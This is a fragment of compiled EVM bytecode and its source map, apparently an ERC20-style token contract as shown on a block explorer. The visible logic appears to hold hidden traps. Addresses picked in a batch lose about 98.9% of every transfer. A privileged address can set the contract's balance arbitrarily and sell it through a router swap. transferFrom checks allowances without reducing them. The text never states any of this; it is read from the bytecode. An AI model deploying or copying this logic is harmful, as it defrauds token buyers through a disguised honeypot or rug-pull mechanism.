56107b957600080fd5b505af11580156107cd573d6000803e3d6000fd5b50505050505b5050565b6000600254905090565b60006107ee848484610fae565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087757600080fd5b600190509392505050565b6000600154905090565b60015481565b6000610926338484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461092191906116ef565b610e51565b6001905092915050565b60025481565b3373ffffffffffffffffffffffffffffffffffffffff16610955610b6a565b73ffffffffffffffffffffffffffffffffffffffff16146109ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a290611a14565b60405180910390fd5b6000600360006101000a81548160ff021916908315150217905550565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a30610b6a565b73ffffffffffffffffffffffffffffffffffffffff1614610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90611a14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610ba2906117c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610bce906117c9565b8015610c1b5780601f10610bf057610100808354040283529160200191610c1b565b820191906000526020600020905b815481529060010190602001808311610bfe57829003601f168201915b5050505050905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cb057600080fd5b610d42338484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3d9190611a34565b610e51565b6001905092915050565b6000610d59338484610fae565b6001905092915050565b600033905090565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e35610d63565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e8a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec357600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fa191906115bb565b60405180910390a3505050565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ffa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361103357600080fd5b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156110c3575043600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6110ce5760006110f8565b6110f76103e86110e96103dd8561121c90919063ffffffff16565b61129690919063ffffffff16565b5b905081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111499190611a34565b92505081905550808261115c9190611a34565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111aa91906116ef565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161120e91906115bb565b60405180910390a350505050565b600080830361122e5760009050611290565b6000828461123c9190611a68565b905082848261124b9190611ad9565b1461128b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128290611b7c565b60405180910390fd5b809150505b92915050565b60008082116112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611be8565b60405180910390fd5b600082846112e89190611ad9565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f840112611323576113226112fe565b5b8235905067ffffffffffffffff8111156113405761133f611303565b5b60208301915083602082028301111561135c5761135b611308565b5b9250929050565b6000806020838503121561137a576113796112f4565b5b600083013567ffffffffffffffff811115611398576113976112f9565b5b6113a48582860161130d565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113ea5780820151818401526020810190506113cf565b60008484015250505050565b6000601f19601f8301169050919050565b6000611412826113b0565b61141c81856113bb565b935061142c8185602086016113cc565b611435816113f6565b840191505092915050565b6000602082019050818103600083015261145a8184611407565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061148d82611462565b9050919050565b61149d81611482565b81146114a857600080fd5b50565b6000813590506114ba81611494565b92915050565b6000819050919050565b6114d3816114c0565b81146114de57600080fd5b50565b6000813590506114f0816114ca565b92915050565b6000806040838503121561150d5761150c6112f4565b5b600061151b858286016114ab565b925050602061152c858286016114e1565b9150509250929050565b60008115159050919050565b61154b81611536565b82525050565b60006020820190506115666000830184611542565b92915050565b60008060408385031215611583576115826112f4565b5b6000611591858286016114e1565b92505060206115a2858286016114ab565b9150509250929050565b6115b5816114c0565b82525050565b60006020820190506115d060008301846115ac565b92915050565b6000806000606084860312156115ef576115ee6112f4565b5b60006115fd868287016114ab565b935050602061160e868287016114ab565b925050604061161f868287016114e1565b9150509250925092565b60006020828403121561163f5761163e6112f4565b5b600061164d848285016114ab565b91505092915050565b61165f81611482565b82525050565b600060208201905061167a6000830184611656565b92915050565b60008060408385031215611697576116966112f4565b5b60006116a5858286016114ab565b92505060206116b6858286016114ab565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116fa826114c0565b9150611705836114c0565b925082820190508082111561171d5761171c6116c0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061175d826114c0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361178f5761178e6116c0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117e157607f821691505b6020821081036117f4576117f361179a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061183881611494565b92915050565b600060208284031215611854576118536112f4565b5b600061186284828501611829565b91505092915050565b6000819050919050565b6000819050919050565b600061189a6118956118908461186b565b611875565b6114c0565b9050919050565b6118aa8161187f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6118e581611482565b82525050565b60006118f783836118dc565b60208301905092915050565b6000602082019050919050565b600061191b826118b0565b61192581856118bb565b9350611930836118cc565b8060005b8381101561196157815161194888826118eb565b975061195383611903565b925050600181019050611934565b5085935050505092915050565b600060a08201905061198360008301886115ac565b61199060208301876118a1565b81810360408301526119a28186611910565b90506119b16060830185611656565b6119be60808301846115ac565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119fe6020836113bb565b9150611a09826119c8565b602082019050919050565b60006020820190508181036000830152611a2d816119f1565b9050919050565b6000611a3f826114c0565b9150611a4a836114c0565b9250828203905081811115611a6257611a616116c0565b5b92915050565b6000611a73826114c0565b9150611a7e836114c0565b9250828202611a8c816114c0565b91508282048414831517611aa357611aa26116c0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611ae4826114c0565b9150611aef836114c0565b925082611aff57611afe611aaa565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b666022836113bb565b9150611b7182611b0a565b604082019050919050565b60006020820190508181036000830152611b9581611b59565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611bd2601b836113bb565b9150611bdd82611b9c565b602082019050919050565b60006020820190508181036000830152611c0181611bc5565b905091905056fea264697066735822122029ccf4b53072d3a0298f1b788e94f58db51600bc61500cfb5b8574d4c2a3a5a564736f6c63430008120033

Deployed Bytecode Sourcemap

2034:4324:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3245:258;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2833:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2988:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4697:470;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6167:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5519:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6268:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2112:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4488:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2147:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2389:88;;;:::i;:::-;;5218:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1535:148;;;:::i;:::-;;2483:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1956:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3152:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3562:245;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4351:131;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1037:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2215:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3245:258;3316:10;3344:1;3329:12;:16;;;;:::i;:::-;3316:29;;3361:9;3356:140;3384:8;;:15;;3377:4;:22;3356:140;;;3430:21;:19;:21::i;:::-;3426:59;;;3481:2;3453:9;:25;3463:8;;3472:4;3463:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3453:25;;;;;;;;;;;;;;;:30;;;;3426:59;3402:6;;;;;:::i;:::-;;;;3356:140;;;;3304:199;3245:258;;:::o;2833:71::-;2872:13;2896:5;2889:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2833:71;:::o;2988:158::-;3062:4;3079:37;3088:10;3100:7;3109:6;3079:8;:37::i;:::-;3134:4;3127:11;;2988:158;;;;:::o;4697:470::-;4775:21;:19;:21::i;:::-;4771:389;;;4800:55;4817:4;4832:13;;;;;;;;;;;4849:5;4800:8;:55::i;:::-;4894:5;4867:9;:24;4885:4;4867:24;;;;;;;;;;;;;;;:32;;;;4910:21;4948:1;4934:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4910:40;;4981:4;4963;4968:1;4963:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;5000:13;;;;;;;;;;;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4990:4;4995:1;4990:7;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;5033:13;;;;;;;;;;;:64;;;5098:5;5105:1;5108:4;5114:11;5132:15;5127:2;:20;;;;:::i;:::-;5033:115;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4798:362;4771:389;4697:470;;:::o;6167:95::-;6213:7;6241:12;;6234:19;;6167:95;:::o;5519:218::-;5601:4;5618:29;5628:5;5635:3;5640:6;5618:9;:29::i;:::-;5700:6;5666:11;:18;5678:5;5666:18;;;;;;;;;;;;;;;:30;5685:10;5666:30;;;;;;;;;;;;;;;;:40;;5658:49;;;;;;5725:4;5718:11;;5519:218;;;;;:::o;6268:87::-;6311:7;6338:9;;6331:16;;6268:87;:::o;2112:28::-;;;;:::o;4488:203::-;4568:4;4585:76;4594:10;4606:7;4650:10;4615:11;:23;4627:10;4615:23;;;;;;;;;;;;;;;:32;4639:7;4615:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;4585:8;:76::i;:::-;4679:4;4672:11;;4488:203;;;;:::o;2147:61::-;;;;:::o;2389:88::-;1768:10;1757:21;;:7;:5;:7::i;:::-;:21;;;1749:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2464:5:::1;2446:15;;:23;;;;;;;;;;;;;;;;;;2389:88::o:0;5218:96::-;5275:7;5293:9;:18;5303:7;5293:18;;;;;;;;;;;;;;;;5286:25;;5218:96;;;:::o;1535:148::-;1768:10;1757:21;;:7;:5;:7::i;:::-;:21;;;1749:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1642:1:::1;1605:40;;1626:6;::::0;::::1;;;;;;;;1605:40;;;;;;;;;;;;1673:1;1656:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1535:148::o:0;2483:30::-;;;;;;;;;;;;;:::o;1956:71::-;2002:7;2019:6;;;;;;;;;;;2012:13;;1956:71;:::o;3152:87::-;3191:13;3224:7;3217:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3152:87;:::o;3562:245::-;3635:4;3693:6;3660:11;:23;3672:10;3660:23;;;;;;;;;;;;;;;:29;3684:4;3660:29;;;;;;;;;;;;;;;;:39;;3652:48;;;;;;3711:66;3720:10;3732:4;3770:6;3738:11;:23;3750:10;3738:23;;;;;;;;;;;;;;;:29;3762:4;3738:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;3711:8;:66::i;:::-;3795:4;3788:11;;3562:245;;;;:::o;4351:131::-;4419:4;4427:39;4437:10;4449:9;4460:5;4427:9;:39::i;:::-;4475:4;4468:11;;4351:131;;;;:::o;1037:71::-;1079:7;1096:10;1089:17;;1037:71;:::o;2215:134::-;2287:7;2314:11;:18;2326:5;2314:18;;;;;;;;;;;;;;;:27;2333:7;2314:27;;;;;;;;;;;;;;;;2307:34;;2215:134;;;;:::o;5321:116::-;5375:4;5414:15;;;;;;;;;;;5399:30;;:11;:9;:11::i;:::-;:30;;;5392:37;;5321:116;:::o;5743:258::-;5856:1;5837:21;;:7;:21;;;5829:30;;;;;;5895:1;5878:19;;:5;:19;;;5870:28;;;;;;5939:6;5909:11;:18;5921:5;5909:18;;;;;;;;;;;;;;;:27;5928:7;5909:27;;;;;;;;;;;;;;;:36;;;;5977:7;5961:32;;5970:5;5961:32;;;5986:6;5961:32;;;;;;:::i;:::-;;;;;;;;5743:258;;;:::o;3922:423::-;4025:9;:16;4035:5;4025:16;;;;;;;;;;;;;;;;4014:7;:27;;4006:36;;;;;;4079:1;4062:19;;:5;:19;;;4054:28;;;;;;4093:17;4134:1;4114:9;:16;4124:5;4114:16;;;;;;;;;;;;;;;;:21;;:57;;;;;4159:12;4139:9;:16;4149:5;4139:16;;;;;;;;;;;;;;;;:32;;4114:57;4113:92;;4204:1;4113:92;;;4175:26;4196:4;4175:16;4187:3;4175:7;:11;;:16;;;;:::i;:::-;:20;;:26;;;;:::i;:::-;4113:92;4093:112;;4236:7;4216:9;:16;4226:5;4216:16;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;4283:9;4273:7;:19;;;;:::i;:::-;4255:9;:14;4265:3;4255:14;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;4324:3;4308:29;;4317:5;4308:29;;;4329:7;4308:29;;;;;;:::i;:::-;;;;;;;;3995:350;3922:423;;;:::o;89:223::-;147:7;176:1;171;:6;167:23;;187:1;180:8;;;;167:23;200:9;216:1;212;:5;;;;:::i;:::-;200:17;;245:1;240;236;:5;;;;:::i;:::-;:10;228:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;303:1;296:8;;;89:223;;;;;:::o;697:178::-;755:7;787:1;783;:5;775:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;831:9;847:1;843;:5;;;;:::i;:::-;831:17;;866:1;859:8;;;697:178;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:559::-;1380:6;1388;1437:2;1425:9;1416:7;1412:23;1408:32;1405:119;;;1443:79;;:::i;:::-;1405:119;1591:1;1580:9;1576:17;1563:31;1621:18;1613:6;1610:30;1607:117;;;1643:79;;:::i;:::-;1607:117;1756:80;1828:7;1819:6;1808:9;1804:22;1756:80;:::i;:::-;1738:98;;;;1534:312;1294:559;;;;;:::o;1859:99::-;1911:6;1945:5;1939:12;1929:22;;1859:99;;;:::o;1964:169::-;2048:11;2082:6;2077:3;2070:19;2122:4;2117:3;2113:14;2098:29;;1964:169;;;;:::o;2139:246::-;2220:1;2230:113;2244:6;2241:1;2238:13;2230:113;;;2329:1;2324:3;2320:11;2314:18;2310:1;2305:3;2301:11;2294:39;2266:2;2263:1;2259:10;2254:15;;2230:113;;;2377:1;2368:6;2363:3;2359:16;2352:27;2201:184;2139:246;;;:::o;2391:102::-;2432:6;2483:2;2479:7;2474:2;2467:5;2463:14;2459:28;2449:38;;2391:102;;;:::o;2499:377::-;2587:3;2615:39;2648:5;2615:39;:::i;:::-;2670:71;2734:6;2729:3;2670:71;:::i;:::-;2663:78;;2750:65;2808:6;2803:3;2796:4;2789:5;2785:16;2750:65;:::i;:::-;2840:29;2862:6;2840:29;:::i;:::-;2835:3;2831:39;2824:46;;2591:285;2499:377;;;;:::o;2882:313::-;2995:4;3033:2;3022:9;3018:18;3010:26;;3082:9;3076:4;3072:20;3068:1;3057:9;3053:17;3046:47;3110:78;3183:4;3174:6;3110:78;:::i;:::-;3102:86;;2882:313;;;;:::o;3201:126::-;3238:7;3278:42;3271:5;3267:54;3256:65;;3201:126;;;:::o;3333:96::-;3370:7;3399:24;3417:5;3399:24;:::i;:::-;3388:35;;3333:96;;;:::o;3435:122::-;3508:24;3526:5;3508:24;:::i;:::-;3501:5;3498:35;3488:63;;3547:1;3544;3537:12;3488:63;3435:122;:::o;3563:139::-;3609:5;3647:6;3634:20;3625:29;;3663:33;3690:5;3663:33;:::i;:::-;3563:139;;;;:::o;3708:77::-;3745:7;3774:5;3763:16;;3708:77;;;:::o;3791:122::-;3864:24;3882:5;3864:24;:::i;:::-;3857:5;3854:35;3844:63;;3903:1;3900;3893:12;3844:63;3791:122;:::o;3919:139::-;3965:5;4003:6;3990:20;3981:29;;4019:33;4046:5;4019:33;:::i;:::-;3919:139;;;;:::o;4064:474::-;4132:6;4140;4189:2;4177:9;4168:7;4164:23;4160:32;4157:119;;;4195:79;;:::i;:::-;4157:119;4315:1;4340:53;4385:7;4376:6;4365:9;4361:22;4340:53;:::i;:::-;4330:63;;4286:117;4442:2;4468:53;4513:7;4504:6;4493:9;4489:22;4468:53;:::i;:::-;4458:63;;4413:118;4064:474;;;;;:::o;4544:90::-;4578:7;4621:5;4614:13;4607:21;4596:32;;4544:90;;;:::o;4640:109::-;4721:21;4736:5;4721:21;:::i;:::-;4716:3;4709:34;4640:109;;:::o;4755:210::-;4842:4;4880:2;4869:9;4865:18;4857:26;;4893:65;4955:1;4944:9;4940:17;4931:6;4893:65;:::i;:::-;4755:210;;;;:::o;4971:474::-;5039:6;5047;5096:2;5084:9;5075:7;5071:23;5067:32;5064:119;;;5102:79;;:::i;:::-;5064:119;5222:1;5247:53;5292:7;5283:6;5272:9;5268:22;5247:53;:::i;:::-;5237:63;;5193:117;5349:2;5375:53;5420:7;5411:6;5400:9;5396:22;5375:53;:::i;:::-;5365:63;;5320:118;4971:474;;;;;:::o;5451:118::-;5538:24;5556:5;5538:24;:::i;:::-;5533:3;5526:37;5451:118;;:::o;5575:222::-;5668:4;5706:2;5695:9;5691:18;5683:26;;5719:71;5787:1;5776:9;5772:17;5763:6;5719:71;:::i;:::-;5575:222;;;;:::o;5803:619::-;5880:6;5888;5896;5945:2;5933:9;5924:7;5920:23;5916:32;5913:119;;;5951:79;;:::i;:::-;5913:119;6071:1;6096:53;6141:7;6132:6;6121:9;6117:22;6096:53;:::i;:::-;6086:63;;6042:117;6198:2;6224:53;6269:7;6260:6;6249:9;6245:22;6224:53;:::i;:::-;6214:63;;6169:118;6326:2;6352:53;6397:7;6388:6;6377:9;6373:22;6352:53;:::i;:::-;6342:63;;6297:118;5803:619;;;;;:::o;6428:329::-;6487:6;6536:2;6524:9;6515:7;6511:23;6507:32;6504:119;;;6542:79;;:::i;:::-;6504:119;6662:1;6687:53;6732:7;6723:6;6712:9;6708:22;6687:53;:::i;:::-;6677:63;;6633:117;6428:329;;;;:::o;6763:118::-;6850:24;6868:5;6850:24;:::i;:::-;6845:3;6838:37;6763:118;;:::o;6887:222::-;6980:4;7018:2;7007:9;7003:18;6995:26;;7031:71;7099:1;7088:9;7084:17;7075:6;7031:71;:::i;:::-;6887:222;;;;:::o;7115:474::-;7183:6;7191;7240:2;7228:9;7219:7;7215:23;7211:32;7208:119;;;7246:79;;:::i;:::-;7208:119;7366:1;7391:53;7436:7;7427:6;7416:9;7412:22;7391:53;:::i;:::-;7381:63;;7337:117;7493:2;7519:53;7564:7;7555:6;7544:9;7540:22;7519:53;:::i;:::-;7509:63;;7464:118;7115:474;;;;;:::o;7595:180::-;7643:77;7640:1;7633:88;7740:4;7737:1;7730:15;7764:4;7761:1;7754:15;7781:191;7821:3;7840:20;7858:1;7840:20;:::i;:::-;7835:25;;7874:20;7892:1;7874:20;:::i;:::-;7869:25;;7917:1;7914;7910:9;7903:16;;7938:3;7935:1;7932:10;7929:36;;;7945:18;;:::i;:::-;7929:36;7781:191;;;;:::o;7978:180::-;8026:77;8023:1;8016:88;8123:4;8120:1;8113:15;8147:4;8144:1;8137:15;8164:233;8203:3;8226:24;8244:5;8226:24;:::i;:::-;8217:33;;8272:66;8265:5;8262:77;8259:103;;8342:18;;:::i;:::-;8259:103;8389:1;8382:5;8378:13;8371:20;;8164:233;;;:::o;8403:180::-;8451:77;8448:1;8441:88;8548:4;8545:1;8538:15;8572:4;8569:1;8562:15;8589:320;8633:6;8670:1;8664:4;8660:12;8650:22;;8717:1;8711:4;8707:12;8738:18;8728:81;;8794:4;8786:6;8782:17;8772:27;;8728:81;8856:2;8848:6;8845:14;8825:18;8822:38;8819:84;;8875:18;;:::i;:::-;8819:84;8640:269;8589:320;;;:::o;8915:180::-;8963:77;8960:1;8953:88;9060:4;9057:1;9050:15;9084:4;9081:1;9074:15;9101:143;9158:5;9189:6;9183:13;9174:22;;9205:33;9232:5;9205:33;:::i;:::-;9101:143;;;;:::o;9250:351::-;9320:6;9369:2;9357:9;9348:7;9344:23;9340:32;9337:119;;;9375:79;;:::i;:::-;9337:119;9495:1;9520:64;9576:7;9567:6;9556:9;9552:22;9520:64;:::i;:::-;9510:74;;9466:128;9250:351;;;;:::o;9607:85::-;9652:7;9681:5;9670:16;;9607:85;;;:::o;9698:60::-;9726:3;9747:5;9740:12;;9698:60;;;:::o;9764:158::-;9822:9;9855:61;9873:42;9882:32;9908:5;9882:32;:::i;:::-;9873:42;:::i;:::-;9855:61;:::i;:::-;9842:74;;9764:158;;;:::o;9928:147::-;10023:45;10062:5;10023:45;:::i;:::-;10018:3;10011:58;9928:147;;:::o;10081:114::-;10148:6;10182:5;10176:12;10166:22;;10081:114;;;:::o;10201:184::-;10300:11;10334:6;10329:3;10322:19;10374:4;10369:3;10365:14;10350:29;;10201:184;;;;:::o;10391:132::-;10458:4;10481:3;10473:11;;10511:4;10506:3;10502:14;10494:22;;10391:132;;;:::o;10529:108::-;10606:24;10624:5;10606:24;:::i;:::-;10601:3;10594:37;10529:108;;:::o;10643:179::-;10712:10;10733:46;10775:3;10767:6;10733:46;:::i;:::-;10811:4;10806:3;10802:14;10788:28;;10643:179;;;;:::o;10828:113::-;10898:4;10930;10925:3;10921:14;10913:22;;10828:113;;;:::o;10977:732::-;11096:3;11125:54;11173:5;11125:54;:::i;:::-;11195:86;11274:6;11269:3;11195:86;:::i;:::-;11188:93;;11305:56;11355:5;11305:56;:::i;:::-;11384:7;11415:1;11400:284;11425:6;11422:1;11419:13;11400:284;;;11501:6;11495:13;11528:63;11587:3;11572:13;11528:63;:::i;:::-;11521:70;;11614:60;11667:6;11614:60;:::i;:::-;11604:70;;11460:224;11447:1;11444;11440:9;11435:14;;11400:284;;;11404:14;11700:3;11693:10;;11101:608;;;10977:732;;;;:::o;11715:831::-;11978:4;12016:3;12005:9;12001:19;11993:27;;12030:71;12098:1;12087:9;12083:17;12074:6;12030:71;:::i;:::-;12111:80;12187:2;12176:9;12172:18;12163:6;12111:80;:::i;:::-;12238:9;12232:4;12228:20;12223:2;12212:9;12208:18;12201:48;12266:108;12369:4;12360:6;12266:108;:::i;:::-;12258:116;;12384:72;12452:2;12441:9;12437:18;12428:6;12384:72;:::i;:::-;12466:73;12534:3;12523:9;12519:19;12510:6;12466:73;:::i;:::-;11715:831;;;;;;;;:::o;12552:182::-;12692:34;12688:1;12680:6;12676:14;12669:58;12552:182;:::o;12740:366::-;12882:3;12903:67;12967:2;12962:3;12903:67;:::i;:::-;12896:74;;12979:93;13068:3;12979:93;:::i;:::-;13097:2;13092:3;13088:12;13081:19;;12740:366;;;:::o;13112:419::-;13278:4;13316:2;13305:9;13301:18;13293:26;;13365:9;13359:4;13355:20;13351:1;13340:9;13336:17;13329:47;13393:131;13519:4;13393:131;:::i;:::-;13385:139;;13112:419;;;:::o;13537:194::-;13577:4;13597:20;13615:1;13597:20;:::i;:::-;13592:25;;13631:20;13649:1;13631:20;:::i;:::-;13626:25;;13675:1;13672;13668:9;13660:17;;13699:1;13693:4;13690:11;13687:37;;;13704:18;;:::i;:::-;13687:37;13537:194;;;;:::o;13737:410::-;13777:7;13800:20;13818:1;13800:20;:::i;:::-;13795:25;;13834:20;13852:1;13834:20;:::i;:::-;13829:25;;13889:1;13886;13882:9;13911:30;13929:11;13911:30;:::i;:::-;13900:41;;14090:1;14081:7;14077:15;14074:1;14071:22;14051:1;14044:9;14024:83;14001:139;;14120:18;;:::i;:::-;14001:139;13785:362;13737:410;;;;:::o;14153:180::-;14201:77;14198:1;14191:88;14298:4;14295:1;14288:15;14322:4;14319:1;14312:15;14339:185;14379:1;14396:20;14414:1;14396:20;:::i;:::-;14391:25;;14430:20;14448:1;14430:20;:::i;:::-;14425:25;;14469:1;14459:35;;14474:18;;:::i;:::-;14459:35;14516:1;14513;14509:9;14504:14;;14339:185;;;;:::o;14530:221::-;14670:34;14666:1;14658:6;14654:14;14647:58;14739:4;14734:2;14726:6;14722:15;14715:29;14530:221;:::o;14757:366::-;14899:3;14920:67;14984:2;14979:3;14920:67;:::i;:::-;14913:74;;14996:93;15085:3;14996:93;:::i;:::-;15114:2;15109:3;15105:12;15098:19;;14757:366;;;:::o;15129:419::-;15295:4;15333:2;15322:9;15318:18;15310:26;;15382:9;15376:4;15372:20;15368:1;15357:9;15353:17;15346:47;15410:131;15536:4;15410:131;:::i;:::-;15402:139;;15129:419;;;:::o;15554:177::-;15694:29;15690:1;15682:6;15678:14;15671:53;15554:177;:::o;15737:366::-;15879:3;15900:67;15964:2;15959:3;15900:67;:::i;:::-;15893:74;;15976:93;16065:3;15976:93;:::i;:::-;16094:2;16089:3;16085:12;16078:19;;15737:366;;;:::o;16109:419::-;16275:4;